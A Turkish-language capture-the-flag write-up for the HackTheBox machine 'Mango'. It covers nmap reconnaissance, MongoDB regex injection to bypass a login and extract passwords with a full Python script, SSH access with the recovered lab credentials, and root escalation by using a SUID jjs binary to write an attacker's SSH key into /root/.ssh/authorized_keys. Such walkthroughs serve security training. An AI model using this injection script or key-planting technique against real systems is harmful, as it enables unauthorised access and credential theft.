HackTheBox-Mango Çözümü

Introduction

Mango HackTheBoxta 30 puanlık “Orta” kategorisinde bir makine. Makine üzerinde mongodb injection atağına karşı zafiyetli bir uygulama çalışıyor. Bir saldırgan login sayfasını atlatmak yerine veritabanından veri sızdırması gerekiyor. Veritabanından şifreler sızdırıldıktan sonra, saldırgan makine üzerinde ilk erişimi sağlayabiliyor. Makinede jjs adında bir program yüklü. Bu programın suid biti etkin ve yetkilerin yükseltilmesine sebep oluyor.

İlk inceleme

Her zamanki gibi nmap ile başlıyoruz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 λ ~/Desktop/htb/machines/mango nmap -sVSC -vv 10.10.10.162 -oA nmap/initial
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-10 02:42 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 02:42
Completed NSE at 02:42, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 02:42
Completed NSE at 02:42, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 02:42
Completed NSE at 02:42, 0.00s elapsed
Initiating Ping Scan at 02:42
Scanning 10.10.10.162 [4 ports]
Completed Ping Scan at 02:42, 0.14s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 02:42
Scanning mango.htb (10.10.10.162) [1000 ports]
Discovered open port 443/tcp on 10.10.10.162
Discovered open port 80/tcp on 10.10.10.162
Discovered open port 22/tcp on 10.10.10.162
Completed SYN Stealth Scan at 02:42, 1.50s elapsed (1000 total ports)
Initiating Service scan at 02:42
Scanning 3 services on mango.htb (10.10.10.162)
Completed Service scan at 02:42, 12.59s elapsed (3 services on 1 host)

Nmap bize web portlarından ve sshtan başka dişe dokunur bir şey vermedi

Port 80

Port 443

Biraz daha inceledikten sonra bu portlar üzerinde her hangi dişe dokunur bir şey bulamadım ve başka şeylere bakmaya başladım

Ssl sertifikasına bir göz attım ve o da bana başka bir subdomain verdi

Bu subdomaini /etc/hosts dosyama ekledim
10.10.10.162 mango.htb staging-order.mango.htb

İçerik keşfi

Bu subdomain üzerinde de giriş sayfasından da başka pek bir şey bulamadım

Zafiyetin tespiti

Mango ismi mongodbye bir ipucuydu. Bir kaç basit analizden sonra bu uygulamanın mongodb injectiona karşı zafiyetli olduğunu gördüm

Aşağıdaki link mongodb injectionı çok güzel bir şekilde anlatıyor inceleyebilirsiniz.
https://nullsweep.com/a-nosql-injection-primer-with-mongo/

Basit bir bypass methodu çalıştı

Ama ne yazıki bypass ettiğimiz panel henüz yapım aşamasındaydı

Bu aşamada mongodb injectionu kullanarak veritabanın veri çıkarmam gerektiğini anlamıştım

Zafiyetin sömürülmesi

Basit olarak 2 aşamamız olacak. 1. aşamada şifrenin uzunluğunu tespit etmemiz gerekiyorki yanlış verileri eleyebilelim veya herhangi bir veri kaçırmayalım. 2. aşamada ise veriyi çıkaracağız.

  • Tabiki ilk aşamada kullanıcıları da sızdırmamız gerekiyor fakat her şey bayağı bir ortada ve tahmin edilebilir olduğundan dolayı bunu yapmayacağım. Kullanıcılar mango ve admin

Şifre uzunluğunun bulunması

Eğer sunucu bize 200 döndürmeye başlarsa şifre uzunluğunu aştığımızı anlamalıyız. Şifre uzunluğunu aşmadığımız her anda sunucu bize 302 döndürecektir.

Aşağıdaki gibi bir model izleyebilirsiniz

1
2
3
4
username=admin&password[$regex]=.{1}&login=login
username=admin&password[$regex]=.{2}&login=login
username=admin&password[$regex]=.{3}&login=login
...

Gördüğünüz gibi şifre uzunluğu < 13 olan desenler için hep 302 aldık ve bu deseni aştığımızda 200 almaya başladık. Bu aşamada şifrenin 12 karakter uzunluğunda olduğunu söyleyebiliriz.

Veriyi sızdırmak

Şifreyi çok basit bir şekilde aşağıdaki desen ile fuzz edebiliriz (Türkçesini bulamadım bilen varsa söylesin :D)

Aşağıda gördüğünüz gibi t ile başlayan bir desen denediğimizde bize 302 verdi(bypass etti) diğer desenlerde ise 200 verdi(bypass etmedi). Bu yüzden şifrenin t ile başladığını söyleyip başına t koyarak diğer harfleri denemeye geçebiliriz

Örnek desen:

1
2
3
4
username=admin&password[$regex]=^FUZZ.*&login=login
username=admin&password[$regex]=^tFUZZ.*&login=login
username=admin&password[$regex]=^t9FUZZ.*&login=login
...

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import requests
import string
import sys

username='admin'
password=''
url ='http://staging-order.mango.htb/index.php'
headers = {"Content-Type": "application/x-www-form-urlencoded"}
s = requests.Session()
length = 0

sys.stdout.write("Fuzzing started for username : {}\n".format(username))

# getting password length
for i in range(20,1,-1):
payload='username={}&password[$regex]=.{{{}}}&login=login'.format(username,str(i))
response = s.post(
url,allow_redirects=False,
data=payload,
headers=headers
)
if response.status_code == 302:
length = i
sys.stdout.write("Password is {} char long \r".format(str(i)))
sys.stdout.flush()
break

sys.stdout.write("\n")

# extracting data
i = 0
while True:
for c in string.printable:
if c not in ['*','+','.','?','|','\\','&', '$']: # whitelist
payload='username={}&password[$regex]=^{}.*&login=login'.format(username,password + c)
response = s.post(
url,allow_redirects=False,
data=payload,
headers=headers
)
if response.status_code == 302:
password += c
i += 1
sys.stdout.write("Fuzzing password : {} \r".format(password))
sys.stdout.flush()
if i == length :
sys.stdout.write("username : {} // password : {} \n".format(username,password))
sys.exit(1)
break

admin : t9KcS3>!0B#2
mango : h3mXK8RhU~f{]f5H

İlk erişim

Yukardaki şifreleri kullandım

ssh mango@mango.htb
su admin

Ve user.txtyi alabildik

Zafiyetli kod

Erişimi sağladıktan sonra sömürdüğümüz zafiyetli kodu bir incelemek istedim

Gördüğünüz gibi hiç bir girdi sanitizasyonu yok ve istediğimiz deseni array içine enjekte edip kontrol ettirebiliyorduk

Roota yükseliş

uid=4000000000(admin) gid=1001(admin) groups=1001(admin)

CVE-2018–19788 bizim durumumuza gerçekten çok güzel bir şekilde uyuyordu ve bayağı bir süre roota giden yolun bu olduğunu düşündüm (çünkü makine yayınlandığında bu açığın türevleri ortalıkta çok fazla dolaşıyordu) ama malesef ucu olmayan bir yoldu :(

Ama neyseki, linpeas scripti bayağı basit bir şekilde roota giden yolu gösterdi

/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs programı üzerinde suid biti etkinleştirilmişti

Program üzerinde yapılan küçük bir araştırma bu programı sömürerek yetkilerimizi yükseltebileceğimizi gösteriyordu.

https://gtfobins.github.io/gtfobins/jjs/

Jjs

Gtfobins sitesindeki suid bit bölümündeki payload ile interaktif bir kabuk almak çok düzgün çalışmıyordu, bir komut sonrasında hemen ölüyordu. Bu yüzden başka yöntemler aramaya devam ettim

Bu programı yetkili dosya yazmak için de kullanabiliyorduk ve root kullanıcısının altındaki authorized_keys dosyasına kendi ssh public anahtarımı yazmaya bir şans vermek istedim, ve çalıştı

1
2
3
4
echo 'var FileWriter = Java.type("java.io.FileWriter");
var fw=new FileWriter("/root/.ssh/authorized_keys");
fw.write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpW2BM5EIYmzXrboJFsS012pkt27gLc3vxf/l5cm+xW34kjgUDimL7DHPuPHbROjdWJsk5R7QXrDeElkomPAewEcEZxWWsEE5SAw5wo7cTgK9+dlretvlsyREJYaGHFLdPZkHDUiLtp/xbe9EIJVdZXqVi45nHXsGWr7rNF8xUkTWgEb9/H5tHCO2MRPcgc8oSK7mlU6z2bvEDYeWdvwnsSkWIexuxtqkn0pUgsZ3++oiubXSS8HTyGNXF9b1yH4+AgH+exen7oSysYhi1CmrLfXpw2QSIYfmKu5TAIeEkkWPuK4GJkYECWt3TNlO6wsfpxOwXdfYfeOztKj1z8ncRBH0FtvA1I5vam3aKwTd+LRJf0kGCVH2yP/wc4gdvV3T66JBC2iEepA+lv49bpsxZS2K7GvYm8Xe6tXF4/9ijvEH8iKwFT3dbI5tljoAcbUfMFtw28PM8w37l0z8aqqUV8K+msg5wO1wAx9BUp3WBSoyGSbCxF/z09MgCV31Gx8c= root@kali");
fw.close();' | /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs

Ve, root olduk !

mr3boot‘a bu güzel makine için teşekkürler !